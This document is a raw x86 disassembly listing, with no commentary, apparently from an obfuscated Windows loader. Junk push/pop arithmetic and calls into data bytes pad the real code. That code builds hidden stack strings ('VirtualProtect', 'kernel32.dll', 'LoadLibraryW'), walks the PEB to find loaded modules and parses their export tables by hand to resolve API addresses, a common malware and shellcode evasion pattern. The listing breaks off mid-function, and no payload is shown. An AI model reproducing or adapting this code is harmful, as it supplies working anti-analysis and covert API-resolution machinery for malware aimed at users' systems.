movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x487b8e
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x487a5c
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x487a5c
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x487b78
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x487b82
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x487bd7
push edx
push edx
add esp, 4
xor edx, 0x5505
sub edx, 0x5d7c
add edx, 0xe567
pop edx
push esi
sub esi, 0x170e
or esi, 0x10838
or esi, 0x2460
sub esi, 0x10022
pop esi
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x487c3f
push eax
push esi
add esp, 4
and eax, 0x17e2
sub eax, 0x11a0
jmp 0x487bf0
add eax, 0x5142
pop eax
push ebx
push esi
add esp, 4
sub ebx, 0xe58a
and ebx, 0x13f47
pop ebx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x487c35
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x487a00
mov dword [ebp - 0x2e0], 0
push edx
jmp 0x487c45
and edx, 0xfa07
pop edx
push esi
push ecx
add esp, 4
and esi, 0x17128
call 0x487c65
add byte [esi + esi + 0x34], al
cmp al, 0x4d
xor cl, byte [ebp + 0x4a]
add esp, 4
pop esi
push ecx
add ecx, 0x36cd
pop ecx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
xor ebx, 0x124f3
pop ebx
push edx
push ecx
add esp, 4
sub edx, 0xe66
sub edx, 0x1a8e
call 0x487ca8
add byte [ecx + eax*2 + 0x39], cl
inc esi
inc esi
dec eax
dec edx
cmp byte [eax - 0x7d], al
les eax, [ecx + eax*4]
retf 0x3e3a
push edi
or edi, 0xfb6b
xor edi, 0x1658e
add edi, 0x18481
pop edi
push ecx
push ecx
add esp, 4
and ecx, 0xe49a
sub ecx, 0xa0b8
and ecx, 0x12bc4
xor ecx, 0x6b75
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push esi
or esi, 0xaa85
pop esi
push eax
sub eax, 0x5135
pop eax
push ecx
or ecx, 0xb0e7
add ecx, 0xb586
add ecx, 0x5e3b
pop ecx
push edx
or edx, 0x17166
xor edx, 0x13e2f
pop edx
cmp dword [ebp - 0x3cc], 0
je 0x488064
cmp dword [ebp - 0xa5c], 0
jne 0x4880aa
push eax
push ebx
add esp, 4
call 0x488079
add byte [edx], bh
xor eax, dword ss:[ecx + 0x36]
push eax
inc esi
cmp byte [eax], bh
inc edx
add esp, 4
call 0x48808c
add byte [ebx + 0x37], al
aas
inc eax
dec eax
cmp eax, 0xc4834141
add al, 0x81
call fcn.0048fac8
pop eax
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
push ebx
add esp, 4
xor eax, 0xadf1
sub eax, 0xfadb
or eax, 0x7aa8
pop eax
push ebx
or ebx, 0x143d7
or ebx, 0xeb34
and ebx, 0x7802
add ebx, 0xe2e4
pop ebx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
push edx
add esp, 4
sub esi, 0x17686
pop esi
push edi
call 0x48812e
add byte [edi], dh
dec edx
cmp dword [ebp + 0x46], ecx
dec esi
xor eax, 0x83333645
les eax, [edi + ebx*2]
push ebx
jmp 0x48813c
add ebx, 0x6c55
pop ebx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
push edi
add esp, 4
jmp 0x4881b9
sub edi, 0x9166
add edi, 0x166b9
pop edi
push esi
push edi
add esp, 4
or esi, 0x1090a
add esi, 0xcd8d
xor esi, 0x13937
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push ebx
add esp, 4
or ebx, 0x2728
pop ebx
push eax
sub eax, 0x7c91
sub eax, 0x247e
and eax, 0x8dbc
add eax, 0x272e
pop eax
push ecx
push esi
add esp, 4
xor ecx, 0x122f9
pop ecx
cmp dword [ebp - 0x150c], 0
jne 0x48824f
mov dword [ebp - 0x2a8], 0
jmp 0x4884f6
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edi
push ebx
add esp, 4
jmp 0x48826d
or edi, 0x13f21
pop edi
push edi
jmp 0x48827c
call 0x48828a
add byte [edi + 0x36], al
cmp byte [esi + 0x3b], al
xor al, byte [eax + 0x35]
add esp, 4
jmp 0x488292
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x4882ab
mov dword [ebp - 0x2a8], 0
jmp 0x4884f6
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ebx
sub ebx, 0x9f5b
xor ebx, 0x5c2a
pop ebx
push esi
sub esi, 0x2e6a
jmp 0x4882d4
sub esi, 0xf505
or esi, 0x1471c
pop esi
push ebx
sub ebx, 0x15378
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
push eax
add esp, 4
or ecx, 0x1c10
or ecx, 0x10a8c
jmp 0x488329
pop ecx
push ecx
sub ecx, 0x1cc5
pop ecx
push eax
jmp 0x488339
and eax, 0x10a8d
jmp 0x488344
pop eax
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
push ecx
add esp, 4
and eax, 0x8dbf
add eax, 0x201f
pop eax
push esi
push ecx
add esp, 4
add esi, 0xa86b
pop esi
push edx
push edx
add esp, 4
and edx, 0x68cc
pop edx
push ebx
and ebx, 0x5d27
pop ebx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4883eb
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x488445
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x488313
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x488313
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x48842f
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x488439
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x48848e
push esi
add esi, 0xe1cd
pop esi
push edi
call 0x488464
add byte [edi], bh
cmp dh, byte [ebx]
cmp al, 0x36
dec edx
inc ebp
add esp, 4
or edi, 0x10c18
call 0x48847c
add byte [ebx], bh
inc edx
cmp dword [ebx], esi
xor al, byte [edx + 0x4a]
inc ebx
dec edi
add esp, 4
pop edi
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x4884f6
push edx
push edi
add esp, 4
add edx, 0x13a3b
xor edx, 0x8f59
add edx, 0xba4
pop edx
push esi
xor esi, 0x14728
xor esi, 0x105f4
sub esi, 0x1327e
xor esi, 0x9f72
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x4884ec
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x4882b7
mov dword [ebp - 0x2a8], 0
push ebx
push esi
add esp, 4
add ebx, 0x796d
add ebx, 0x1503
pop ebx
push ebx
and ebx, 0xb222
and ebx, 0x10b9e
and ebx, 0x8ffe
pop ebx
push ecx
push ebx
add esp, 4
sub ecx, 0x3bcd
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x488e2d
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edi
xor edi, 0x2170
jmp 0x4885da
pop edi
push esi
xor esi, 0x4b21
call 0x4885f0
add byte [esp + edi + 0x3b], al
cmp al, 0x4b
cmp edx, dword [eax + 0x4c]
add esp, 4
or esi, 0x56fb
add esi, 0xe078
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edi
call 0x488693
add byte [edx + 0x32], cl
dec esi
dec edx
inc esp
xor cl, byte [edi + 0x39]
xor eax, 0x8104c483
test edi, 0x5f000088
push edi
push ebx
add esp, 4
or edi, 0x2f20
and edi, 0x8fa9
and edi, 0x6749
pop edi
cmp dword [ebp - 0x1518], 0
jne 0x4886cd
mov dword [ebp - 0x710], 0
jmp 0x488974
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push eax
push esi
add esp, 4
xor eax, 0x16f91
add eax, 0x16649
pop eax
push ecx
push esi
add esp, 4
jmp 0x4886fe
and ecx, 0x15d3c
xor ecx, 0x16b88
and ecx, 0x35f9
pop ecx
cmp dword [ebp - 0xc58], 0
jne 0x488729
mov dword [ebp - 0x710], 0
jmp 0x488974
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
add esi, 0x8456
sub esi, 0x2b2a
xor esi, 0x8ee9
add esi, 0x1444a
pop esi
push esi
push edi
add esp, 4
sub esi, 0xc99d
sub esi, 0xf303
add esi, 0x25c5
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
call 0x4887a2
add byte [ebx + 0x48], cl
dec esi
cmp edi, dword [ecx + edi]
cmp dword ds:[ebp + ecx*2 - 0x7d], ecx
les eax, [ebx + ebp*8]
pop es
xor al, 0x40
push eax
dec edi
aaa
inc eax
xor edi, 0xa7a1
pop edi
push esi
or esi, 0x41c7
or esi, 0xa44d
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
push edx
add esp, 4
call 0x48882b
add byte [eax], bh
dec esi
inc esi
dec ebx
xor al, byte ds:[ebx - 0x1d7efb3c]
in eax, 0xd8
add byte [eax], al
jmp 0x48883d
pop edx
push edx
push edx
add esp, 4
jmp 0x48884b
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x488869
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4888c3
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x488791
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x488791
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4888ad
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4888b7
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x48890c
push esi
push eax
add esp, 4
xor esi, 0x5c2b
and esi, 0x158c5
and esi, 0x7564
pop esi
push edi
xor edi, 0xa801
xor edi, 0xe332
xor edi, 0x1030
xor edi, 0x13997
pop edi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x488974
push ebx
push edx
add esp, 4
or ebx, 0x17cd0
or ebx, 0x32aa
pop ebx
push ecx
push edx
add esp, 4
sub ecx, 0x161a9
sub ecx, 0xb464
pop ecx
push ecx
xor ecx, 0x12397
add ecx, 0x2c08
pop ecx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x48896a
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x488735
mov dword [ebp - 0x710], 0
push ebx
xor ebx, 0xfa75
or ebx, 0x12040
pop ebx
push ecx
push edi
add esp, 4
xor ecx, 0xdaf1
or ecx, 0xe0b6
and ecx, 0x12957
pop ecx
push eax
push ecx
add esp, 4
jmp 0x4889a5
pop eax
cmp dword [ebp - 0x710], 0
jne 0x4889f0
push eax
push edx
add esp, 4
xor eax, 0xbb9c
pop eax
push ebx
xor ebx, 0x12939
add ebx, 0x160dc
pop ebx
push edi
push edi
add esp, 4
sub edi, 0xf4d2
xor edi, 0x6c63
add edi, 0xb1aa
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x489518
push ebx
call 0x488a00
add byte [ecx + 0x48], cl
inc ebx
cmp dword ss:[ecx + 0x43], ecx
dec edi
inc edi
add esp, 4
or ebx, 0x10ad3
add ebx, 0x5825
pop ebx
push ecx
push esi
add esp, 4
or ecx, 0x90bd
and ecx, 0x228b
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x488a61
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x488d52
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x488a89
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x488d52
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x488abb
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x488d52
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x488ae0
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x488d52
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x488b3a
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x488d46
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x488baa
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x488c5c
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x488c5c
push ebx
jmp 0x488be0
pop ebx
push ebx
jmp 0x488be7
xor ebx, 0xbee4
pop ebx
push ebx
call 0x488bfe
add byte [edi + edi + 0x43], cl
inc ecx
inc ebx
xor eax, 0x834e4146
les eax, [ebx + ebx*2]
push ebx
jmp 0x488c08
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x488c4e
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x488c55
jmp 0x488b9b
jmp 0x488c5c
push ebx
push edi
add esp, 4
sub ebx, 0xc51e
and ebx, 0x7f0d
pop ebx
push edi
call 0x488c7b
add byte [edx + esi + 0x48], cl
cmp dword [ecx], edi
dec ebx
add esp, 4
xor edi, 0x3a40
jmp 0x488c8d
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x488cbb
mov dword [ebp - 0xc5c], 0
jmp 0x488d2a
push ecx
push eax
add esp, 4
and ecx, 0xde9b
pop ecx
push esi
and esi, 0x11e69
pop esi
push eax
push ecx
add esp, 4
and eax, 0xf9a5
add eax, 0xa93d
xor eax, 0xb991
or eax, 0x13a97
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x488d20
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x488d2a
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x488d41
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x488d52
jmp 0x488b2b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x488e2d
push eax
push edi
add esp, 4
sub eax, 0x60a1
or eax, 0xdb01
jmp 0x488d76
pop eax
push eax
or eax, 0x17af2
sub eax, 0x4e1e
pop eax
push ebx
push ecx
add esp, 4
add ebx, 0xbf74
pop ebx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
push eax
add esp, 4
sub edx, 0x1839d
pop edx
push edi
push ebx
add esp, 4
or edi, 0x124e8
pop edi
push esi
and esi, 0x18521
sub esi, 0x9c17
xor esi, 0x26f
sub esi, 0x392d
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x488e2d
push ebx
push edi
add esp, 4
and ebx, 0xf3ed
or ebx, 0xae
xor ebx, 0xc17b
pop ebx
push eax
push eax
add esp, 4
xor eax, 0xf65f
pop eax
push edx
and edx, 0x16784
add edx, 0x15887
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x489518
push ecx
push eax
add esp, 4
add ecx, 0xa9f
pop ecx
push ebx
xor ebx, 0x2317
xor ebx, 0x146ad
add ebx, 0x1b3d
sub ebx, 0xc7c4
pop ebx
push esi
push ecx
add esp, 4
sub esi, 0xce97
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push esi
push ebx
add esp, 4
xor esi, 0x10d1
pop esi
push ecx
and ecx, 0x10bf9
pop ecx
push esi
push eax
add esp, 4
call 0x488eae
add byte [edx + 0x32], cl
aas
dec ecx
aaa
inc eax
inc ebx
aaa
add esp, 4
jmp 0x488eb8
pop esi
cmp dword [ebp - 0x1574], 0
jne 0x488ed1
mov dword [ebp - 0x2a8], 0
jmp 0x489178
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push esi
add esi, 0x13bfc
add esi, 0xec4d
or esi, 0x3d28
add esi, 0x90be
pop esi
push edx
push esi
add esp, 4
or edx, 0xe461
pop edx
push eax
push edi
add esp, 4
add eax, 0xd350
pop eax
cmp dword [ebp - 0xc68], 0
jne 0x488f2d
mov dword [ebp - 0x2a8], 0
jmp 0x489178
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push esi
push edx
add esp, 4
jmp 0x488f47
call 0x488f55
add byte [0x3e38424f], dh
dec ebx
cmp al, byte ss:[ebx - 0x397efb3c]
loop 0x488f81
add dword [eax], eax
pop esi
push ebx
push ecx
add esp, 4
and ebx, 0x14a4b
pop ebx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
xchg ebp, eax
mov al, byte [0x33fffff3]
shl byte [esi - 0x77], 0x85
hlt
push esi
push esi
add esp, 4
or esi, 0x16a65
jmp 0x488fa6
and esi, 0x5dad
call 0x488fbb
add byte [ecx + 0x37], cl
dec eax
inc eax
cmp cl, byte [ecx + 0x43]
inc ebp
add esp, 4
pop esi
push edx
or edx, 0xb787
pop edx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edi
push edi
add esp, 4
and edi, 0xb47e
pop edi
push ecx
push eax
add esp, 4
xor ecx, 0x3e51
and ecx, 0x1728d
pop ecx
push edi
or edi, 0x17395
sub edi, 0x8744
and edi, 0x7841
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x48906d
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x4890c7
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x488f95
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x488f95
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x4890b1
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x4890bb
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x489110
push esi
push ecx
add esp, 4
jmp 0x4890da
pop esi
push ecx
xor ecx, 0x1744c
pop ecx
push ecx
and ecx, 0x2ad7
pop ecx
push edi
or edi, 0x863a
and edi, 0x14a88
jmp 0x489101
pop edi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x489178
push esi
push ecx
add esp, 4
or esi, 0x9e6f
pop esi
push ebx
push edx
add esp, 4
xor ebx, 0x11be6
pop ebx
push edi
push esi
add esp, 4
or edi, 0xcf8e
add edi, 0xbbac
pop edi
push eax
and eax, 0x537
pop eax
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x48916e
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x488f39
mov dword [ebp - 0x2a8], 0
push edi
call 0x489188
add byte [edx + 0x45], cl
cmp al, 0x49
dec ebp
dec esp
dec edx
cmp eax, 0x4c48347
xor edi, 0x7696
and edi, 0xb53
xor edi, 0x77fb
pop edi
push ebx
push eax
add esp, 4
xor ebx, 0x11c46
pop ebx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ebx
or ebx, 0x9412
and ebx, 0x37e5
jmp 0x4891cb
call 0x4891db
add byte [edx], bh
dec ebx
xor bh, byte [edx]
cmp al, byte [ebp + 0x3c]
cmp byte [edx + esi], dh
add esp, 4
pop ebx
push edx
push edx
add esp, 4
sub edx, 0xd272
pop edx
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x48921b
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x48950c
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x489243
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x48950c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x489275
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x48950c
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x48929a
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x48950c
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
